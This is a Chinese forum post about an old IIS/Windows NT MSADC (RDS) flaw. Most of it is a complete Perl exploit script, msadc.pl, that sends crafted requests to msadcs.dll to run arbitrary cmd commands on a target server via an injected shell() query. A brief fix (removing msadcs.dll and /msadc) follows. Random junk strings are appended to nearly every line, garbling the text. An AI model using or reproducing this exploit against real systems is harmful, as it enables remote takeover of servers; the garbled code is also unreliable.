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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) "$WZd  
O". #B  
涉及程序: Z I8p(e  
Microsoft NT server C}M0KDF  
hVd63_OO  
描述: QPBf++|  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 &=f%(,+  
KVK@Snn   
详细: 6ds&n#n  
如果你没有时间读详细内容的话,就删除: 0hPm,H*Y]  
c:\Program Files\Common Files\System\Msadc\msadcs.dll .9`.\v6R  
有关的安全问题就没有了。 0py0zE6,,  
Sna7r~ j  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _3)~{dQ+  
g >X!Q  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 F.JE$)B2EX  
关于利用ODBC远程漏洞的描述,请参看: nF7Ozxm#  
>:Rc%ILym  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b+w|3bQa  
5Eq_L  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ^fRA$t  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp AR&u9Y)I  
^.k}YSWut  
这里不再论述。 Jr#ptf"Wu  
zhFGMF1  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: FQ);el'_V  
f}o`3v*z  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {Bu^%JEn  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &Uzg&eB  
A H`6)v<f  
uYV# '%  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ).k=[@@V  
_m;Y'  
#!perl  M*%iMz  
# 63ht|$G  
# MSADC/RDS 'usage' (aka exploit) script RsY|V|<  
# y%43w4  
# by rain.forest.puppy 9HWtdJ+^C=  
# 'DVPx%p  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me x H\5T!  
# beta test and find errors! !)ee{CwNc  
d6wsT\S  
use Socket; use Getopt::Std; $LKniK  
getopts("e:vd:h:XR", \%args); i/~A7\:8%  
92XzbbLp  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; uQrD}%GI  
P.LMu  
if (!defined $args{h} && !defined $args{R}) { nd-y`@z  
print qq~ %|4Nmf$:Og  
Usage: msadc.pl -h <host> { -d <delay> -X -v } `NrxoU=  
-h <host> = host you want to scan (ip or domain) ]Rz]"JZ\S  
-d <seconds> = delay between calls, default 1 second $dq R]'  
-X = dump Index Server path table, if available ]>&au8  
-v = verbose Rs7=v2>I  
-e = external dictionary file for step 5 GBN^ *I  
~fEgrF d  
Or a -R will resume a command session 2}t2k>  
TN(1oJ:  
~; exit;} 7)z^*;x  
m\[r6t]V  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 98G>I(Cw%  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Hj LY\.S  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} CsXIq.9  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); LC/6'4}_  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ShFSBD\M#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } K`D>G<  
, LX]  
if (!defined $args{R}){ $ret = &has_msadc; =fEn h'KE  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :4/RB%)"  
[.dF)I3  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" mm'Pe4*  
. "cmd /c "; "4|D"|wI)  
$in=<STDIN>; chomp $in; a//<S?d$:  
$command="cmd /c " . $in ; o[0Cv*  
(;V6L{Rf>  
if (defined $args{R}) {&load; exit;} BA53   
Ac|IBXGa=  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &")ON[|b  
&try_btcustmr; 2{% U\^-  
cd#@"&r  
print "\nStep 2: Trying to make our own DSN..."; `q".P]wtKN  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; g7rn|<6FI  
hr(E, TAe  
print "\nStep 3: Trying known DSNs..."; {|bf`  
&known_dsn; ;5?$q  
hxGZ}zq*S  
print "\nStep 4: Trying known .mdbs..."; ~+7q.XL$$K  
&known_mdb; .9PPWY;H  
5_9mA4gs@  
if (defined $args{e}){ ^,qi` Tk  
print "\nStep 5: Trying dictionary of DSN names..."; =Z2Cg{z  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ZXh6Se4o  
FY@ErA7~  
print "Sorry Charley...maybe next time?\n"; 9])dLL0  
exit; V)=!pT  
iG^o@*}a  
############################################################################## O'*KNJX  
@))PpE`co8  
sub sendraw { # ripped and modded from whisker qlNK }  
sleep($delay); # it's a DoS on the server! At least on mine... \x5b=~/   
my ($pstr)=@_; B ;@7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || fczId"   
die("Socket problems\n"); $OldHe[p  
if(connect(S,pack "SnA4x8",2,80,$target)){ $i;%n1VBg  
select(S); $|=1; V)mitRaV  
print $pstr; my @in=<S>; Vf:/Kokq  
select(STDOUT); close(S); |VQ17*4ff1  
return @in; xy5&}_Y  
} else { die("Can't connect...\n"); }} gi#bU  
+`>Tuz~  
############################################################################## \]1qAFB5  
| U )  
sub make_header { # make the HTTP request UJ* D  
my $msadc=<<EOT qwM71B!r  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ZxF RE#y~2  
User-Agent: ACTIVEDATA 2+ m%f"  
Host: $ip B>hf|.GI  
Content-Length: $clen -|YG**i/  
Connection: Keep-Alive )!z<q}i5  
n** W  
ADCClientVersion:01.06 dZ K /v  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 -fKo~\Pr  
T)? : q  
--!ADM!ROX!YOUR!WORLD! h fZY5+Z<  
Content-Type: application/x-varg la+RK  
Content-Length: $reqlen P|%uB'|H  
<[Oe.0SGu  
EOT ia6%>^  
; $msadc=~s/\n/\r\n/g; 6}4?, r  
return $msadc;} ?5-Y'(r  
1fUg  
############################################################################## -j9Wf=  
cNOtfn6?F  
sub make_req { # make the RDS request ^h\& l{e  
my ($switch, $p1, $p2)=@_; WR,MqM20  
my $req=""; my $t1, $t2, $query, $dsn; Is57)(^.-  
/enlkZx=8  
if ($switch==1){ # this is the btcustmr.mdb query UEHJ? }  
$query="Select * from Customers where City=" . make_shell(); &y_Ya%Z3*e  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . = Lt)15  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} RC?gozBFJ  
0P i+ (X  
elsif ($switch==2){ # this is general make table query [}:;B$,  
$query="create table AZZ (B int, C varchar(10))"; Sy()r 6n  
$dsn="$p1";} v,]-;V~<  
i[L5,%5<H  
elsif ($switch==3){ # this is general exploit table query ?TTtGbvU  
$query="select * from AZZ where C=" . make_shell(); m#w1?y)Z@X  
$dsn="$p1";} y``[CBj  
f3PDLQA  
elsif ($switch==4){ # attempt to hork file info from index server %n?&#_G|  
$query="select path from scope()"; ;GQCq@)-  
$dsn="Provider=MSIDXS;";} t@r>GHO  
~(aMKB  
elsif ($switch==5){ # bad query ISa}Km>Q  
$query="select"; =`<9N %  
$dsn="$p1";} 3ScOJo  
,6VY S\a3  
$t1= make_unicode($query); r)<c ~\0 7  
$t2= make_unicode($dsn); gOb"-;Zw  
$req = "\x02\x00\x03\x00"; M]|tXo$?  
$req.= "\x08\x00" . pack ("S1", length($t1)); PzF>yG[  
$req.= "\x00\x00" . $t1 ; jEhPx  
$req.= "\x08\x00" . pack ("S1", length($t2)); &FrUj>i  
$req.= "\x00\x00" . $t2 ; 1?I_fA}  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; gI~B _0x  
return $req;} R|D%1@i]  
YOOcHo.F  
############################################################################## (:er~Y}  
y[`>,?ns5  
sub make_shell { # this makes the shell() statement  N$ oQK(  
return "'|shell(\"$command\")|'";} BN7]u5\7  
Mbm'cM&}  
############################################################################## !#&`1cYX  
t?Ku6Z'  
sub make_unicode { # quick little function to convert to unicode Dxvizd>VU  
my ($in)=@_; my $out; /tdRUX  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } (}B3df  
return $out;} @=<B8VPJd  
>G9YYt~  
############################################################################## *RYok{w  
L0\~ K~q  
sub rdo_success { # checks for RDO return success (this is kludge) xqSoE[<v  
my (@in) = @_; my $base=content_start(@in); ,F%2'W  
if($in[$base]=~/multipart\/mixed/){ R<djW5()f  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} i1dE.f ;  
return 0;} M:M"7>:  
&c[ISc>N{  
############################################################################## Uv)B  
PPAcEXsIu  
sub make_dsn { # this makes a DSN for us mP*Ct6628n  
my @drives=("c","d","e","f"); NI  r"i2  
print "\nMaking DSN: "; R E0ud_q2  
foreach $drive (@drives) { l"zwH  
print "$drive: "; :_8Nf1B+T  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ~`97?6*Ra  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -kk0zg &|i  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); u_HCXpP!Q  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; {k}$L|w  
return 0 if $2 eq "404"; # not found/doesn't exist *3iEO>  
if($2 eq "200") { +-r ~-bs  
foreach $line (@results) { @#r6->%W  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} J5!-<oJ/  
} return 0;} y g:&cIr,  
O2qy[]km  
############################################################################## 6nA/LW\x  
WhT5NE9t  
sub verify_exists { fK|P144   
my ($page)=@_; k*4!rWr0r&  
my @results=sendraw("GET $page HTTP/1.0\n\n"); +R8G*2  
return $results[0];} oNhCa>)/  
^>/~MCyM.  
############################################################################## I:6H65(&  
`O0bba=:=  
sub try_btcustmr { , Dab(  
my @drives=("c","d","e","f"); ??#SQSU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V_3K((P6  
'pnOHT  
foreach $dir (@dirs) { xs6kr  
print "$dir -> "; # fun status so you can see progress }Y"vUl_I2  
foreach $drive (@drives) { G\z5Ue*  
print "$drive: "; # ditto LzTdi%u$0|  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; B ({g|}|G+  
$reqlenlen=length( "$reqlen" ); "c.@4#/_  
$clen= 206 + $reqlenlen + $reqlen; 4#,,_\r  
:al ,zxs  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ,! H`@Kl  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Xhs*nt%l  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} -}1TT@  
MWv(/_b  
############################################################################## od)ssL&E~  
R=2"5Hy=  
sub odbc_error { '':MhRb  
my (@in)=@_; my $base; x7xMSy  
my $base = content_start(@in); B[IWgvB(e  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 5?Ukf$)x  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a9u2Wlz  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I5@8=rFk  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K&VMhMVb  
return $in[$base+4].$in[$base+5].$in[$base+6];} r=HL!XFk  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ;i?rd f  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . WjBH2v  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} :K~sazs7J  
|It&1fz}  
############################################################################## Q@1SqK#-DQ  
"l{{H&d  
sub verbose { E!RlH3})  
my ($in)=@_; R=<%!  
return if !$verbose; 4,0 8`5{  
print STDOUT "\n$in\n";} V.%LA. 8  
fK _uuw4  
############################################################################## Eunmc  
lc3N i<3v  
sub save { h1H$3TpP  
my ($p1, $p2, $p3, $p4)=@_; &hUEOif  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; H$V`,=H  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; \.'[!GE*c  
close OUT;} 1Va=.#<  
vb| d  
############################################################################## BRa9j:_b  
D\Y,2!I  
sub load { n[B[hAT  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; <#wVQ\0C  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); R.?PD$;_M  
@p=<IN>; close(IN); 8aJJ??o{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); &e78xtA{  
$target= inet_aton($ip) || die("inet_aton problems"); X~cdM1z?  
print "Resuming to $ip ..."; cm0$v8  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; UfIr"bU6  
if($p[1]==1) { - ~4na{6x  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $;&l{=e2)  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; D|amKW7  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); +cbF$,M4  
if (rdo_success(@results)){print "Success!\n";} .C.b5x!  
else { print "failed\n"; verbose(odbc_error(@results));}} xYZ,.  
elsif ($p[1]==3){ .4ZOm'ko{  
if(run_query("$p[3]")){ q6ZewuV.  
print "Success!\n";} else { print "failed\n"; }} k }{o: N  
elsif ($p[1]==4){ .Cf!5[0E  
if(run_query($drvst . "$p[3]")){ *\@RBJGF  
print "Success!\n"; } else { print "failed\n"; }} 4JyA+OD4{  
exit;} S.{   
XS #u/!  
############################################################################## O c.fvP^ZD  
N~0ih T G5  
sub create_table { za+)2/ `L  
my ($in)=@_; %ZcS"/gf  
$reqlen=length( make_req(2,$in,"") ) - 28; -k@1# c+z  
$reqlenlen=length( "$reqlen" ); f[ 2PAz  
$clen= 206 + $reqlenlen + $reqlen; vvG"rU  
my @results=sendraw(make_header() . make_req(2,$in,"")); %|%eGidu  
return 1 if rdo_success(@results); 4*L* "vKa  
my $temp= odbc_error(@results); verbose($temp); fC 3T\@(&  
return 1 if $temp=~/Table 'AZZ' already exists/; `x=$n5= 8  
return 0;} xHqF_10S#  
fs:yx'mxV  
############################################################################## ?pcbso  
N:CQ$7T{ j  
sub known_dsn { *dxm|F98  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go =@pD>h/~  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", sgDSl@lB  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", xXc>YTK'  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ?68~g<d,  
m"-kkH{I  
foreach $dSn (@dsns) { c1r+?q$f  
print "."; m)LI| v  
next if (!is_access("DSN=$dSn")); Alo L+eN@  
if(create_table("DSN=$dSn")){ ^_i)XdPU  
print "$dSn successful\n"; <f`n[QD2z  
if(run_query("DSN=$dSn")){ }#-@5["-X  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `N&*+!O%  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $2,tT;50g  
LR{bNV[i  
############################################################################## Te[v+jgLY,  
E .28G2&  
sub is_access { 1C<d^D_!p  
my ($in)=@_; 1r};cY6  
$reqlen=length( make_req(5,$in,"") ) - 28; @?3^ Ks_  
$reqlenlen=length( "$reqlen" ); fm@Pa} ,  
$clen= 206 + $reqlenlen + $reqlen; _5H~1G%q  
my @results=sendraw(make_header() . make_req(5,$in,"")); (~%NRH<\  
my $temp= odbc_error(@results); 3 tCTPZy  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); tjwn FqI  
return 0;} Q"B8l[  
6^t#sEff]  
############################################################################## '`|j{mBhG  
Ov<c1y;f  
sub run_query { 'l=>H#}<B  
my ($in)=@_; [^?i<z{0C  
$reqlen=length( make_req(3,$in,"") ) - 28; Z'>UR.g  
$reqlenlen=length( "$reqlen" ); ;HH%OfQq  
$clen= 206 + $reqlenlen + $reqlen; G<=I\T'g;  
my @results=sendraw(make_header() . make_req(3,$in,"")); Y<u%J#'[  
return 1 if rdo_success(@results); /Jc{aw  
my $temp= odbc_error(@results); verbose($temp); dq@ * 8ui  
return 0;} qHp2;  
1 z~|SmP1  
############################################################################## Zs{7km  
LSA6*Q51  
sub known_mdb { b_a k@LYiu  
my @drives=("c","d","e","f","g"); 6r`N\ :18  
my @dirs=("winnt","winnt35","winnt351","win","windows"); FZn1$_Svr  
my $dir, $drive, $mdb; tW4X+d"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ju'a Uzn  
]hS<"=oj  
# this is sparse, because I don't know of many >zDQt7+g;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", CuH4~6  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", -3i(N.)<;  
"\\system32\\certmdb.mdb", AWi>(wk<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% c+E\e]{  
!L8q]]'XM  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Sir1>YEm  
"\\cfusion\\cfapps\\forums\\forums_.mdb", k2$pcR,WM  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", fkp(M  
"\\cfusion\\cfapps\\security\\realm_.mdb", QNINn>2  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 6IV):S~  
"\\cfusion\\database\\cfexamples.mdb", &Z[+V)6,,  
"\\cfusion\\database\\cfsnippets.mdb", Pj]^ p{>  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", (3mL!1\  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", p<(a);<L  
"\\cfusion\\brighttiger\\database\\cleam.mdb", zn 0y`9!n?  
"\\cfusion\\database\\smpolicy.mdb", <Vk}U   
"\\cfusion\\database\cypress.mdb", @IsUY(Gu  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ?4U4o<   
"\\website\\cgi-win\\dbsample.mdb", S*=^I2;  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |" WL   
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" S9P({iZK  
); #these are just oJ %Nt&q  
foreach $drive (@drives) { m3Wc};yE*Q  
foreach $dir (@dirs){ ULxQyY;32  
foreach $mdb (@sysmdbs) { =DfI^$Lr:  
print "."; zN!yOlp5  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ HZ%V>88  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; <uv `)Q9  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ p<H_]|7$7U  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; x}pH'S7  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "i(f+N,)  
\ t1#5  
foreach $drive (@drives) { kJJiDDL0;*  
foreach $mdb (@mdbs) { G-2~$ u  
print "."; q[VQ?b~9  
if(create_table($drv . $drive . $dir . $mdb)){ l"E{ ?4  
print "\n" . $drive . $dir . $mdb . " successful\n"; $)"T9 $>$  
if(run_query($drv . $drive . $dir . $mdb)){ p@% Pdx  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; $3l#eKZA  
} else { print "Something's borked. Use verbose next time\n"; }}}} .z_nW1id  
} {Kr}RR*{X  
~`&4?c3p  
############################################################################## BHAFO E  
*X$qgSW  
sub hork_idx { >QvqH 2  
print "\nAttempting to dump Index Server tables...\n"; 1Z)P.9c  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; hWbu Z%  
$reqlen=length( make_req(4,"","") ) - 28; {22ey`@`h  
$reqlenlen=length( "$reqlen" ); +58^{_k+%  
$clen= 206 + $reqlenlen + $reqlen; .<>t2,Af  
my @results=sendraw2(make_header() . make_req(4,"","")); ;"Qq/ knVL  
if (rdo_success(@results)){ _g/d/{-{Q  
my $max=@results; my $c; my %d; >*gf1"  
for($c=19; $c<$max; $c++){ 0ZDm[#7z  
$results[$c]=~s/\x00//g; }v2p]D5n.  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; YT oG'#qs  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; d*Su c  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /nA>ox78  
$d{"$1$2"}="";} AZhI~QWo  
foreach $c (keys %d){ print "$c\n"; } { 'A 15  
} else {print "Index server doesn't seem to be installed.\n"; }} JUA%l  
M !"Q7>d  
############################################################################## mfI[9G  
Bf00&PE;  
sub dsn_dict { ;kZD>G8  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); u`Nrg<  
while(<IN>){ ";(m,i f-  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; qXq#A&  
next if (!is_access("DSN=$dSn")); nbP}a?XC  
if(create_table("DSN=$dSn")){ :KvZP:T  
print "$dSn successful\n"; &$CyT6mb^  
if(run_query("DSN=$dSn")){ ~s4JGV~R  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  EH2):  
print "Something's borked. Use verbose next time\n";}}} @q<h.#9  
print "\n"; close(IN);} !gLJBp  
}0E@eL  
############################################################################## D[@- `F  
U&B(uk(2  
sub sendraw2 { # ripped and modded from whisker )E=B;.FH  
sleep($delay); # it's a DoS on the server! At least on mine... ,/Gp>Yqx  
my ($pstr)=@_; GYIQ[#'d7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || A@lM =   
die("Socket problems\n"); jWxa [ >  
if(connect(S,pack "SnA4x8",2,80,$target)){ 7mi*#X}  
print "Connected. Getting data"; ?^!J:D?  
open(OUT,">raw.out"); my @in; g~K-'Nw  
select(S); $|=1; print $pstr; bt=D<YZk  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 8M!9gvcaO  
close(OUT); select(STDOUT); close(S); return @in; b_{+OqI  
} else { die("Can't connect...\n"); }} ` k I}p  
KS~Q[-F1P  
############################################################################## &f'Lll  
hOLlZP+  
sub content_start { # this will take in the server headers l>`S<rGe  
my (@in)=@_; my $c; 8b,Z)"(U3  
for ($c=1;$c<500;$c++) { >^9j>< Z  
if($in[$c] =~/^\x0d\x0a/){ !lEV^SQJs  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } qfFa" a  
else { return $c+1; }}} LL3| U  
return -1;} # it should never get here actually fy>3#`T-  
!$iwU3~<  
############################################################################## Z%.L d2Q{  
x?{l<mc  
sub funky { lxXF8c>U  
my (@in)=@_; my $error=odbc_error(@in); 5C`Vno~v  
if($error=~/ADO could not find the specified provider/){ ',FVT4OMw  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; SP2";,%/9  
exit;} ;+f(1=x  
if($error=~/A Handler is required/){ 6tVp%@  
print "\nServer has custom handler filters (they most likely are patched)\n"; e jk?If 07  
exit;} : LX!T&  
if($error=~/specified Handler has denied Access/){ o%]b\Vl6  
print "\nServer has custom handler filters (they most likely are patched)\n"; j y p.2c  
exit;}} DP*V|)  
Sb?v5  
############################################################################## K~UT@,CS60  
?j!/ Hc/b4  
sub has_msadc { PB8U+  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 0""%@X]m  
my $base=content_start(@results); 4yxf/X)  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); !&KE">3Qu  
return 0;} 65 &+Fv  
}VH` \g}  
######################## = "Lb5!  
Jn?ZJZ  
P6^\*xkMr  
解决方案: ='eQh\T)  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll #c<F,` gdi  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =snJ+yn!  
~ebm,3?  
拿出来充数 哈哈
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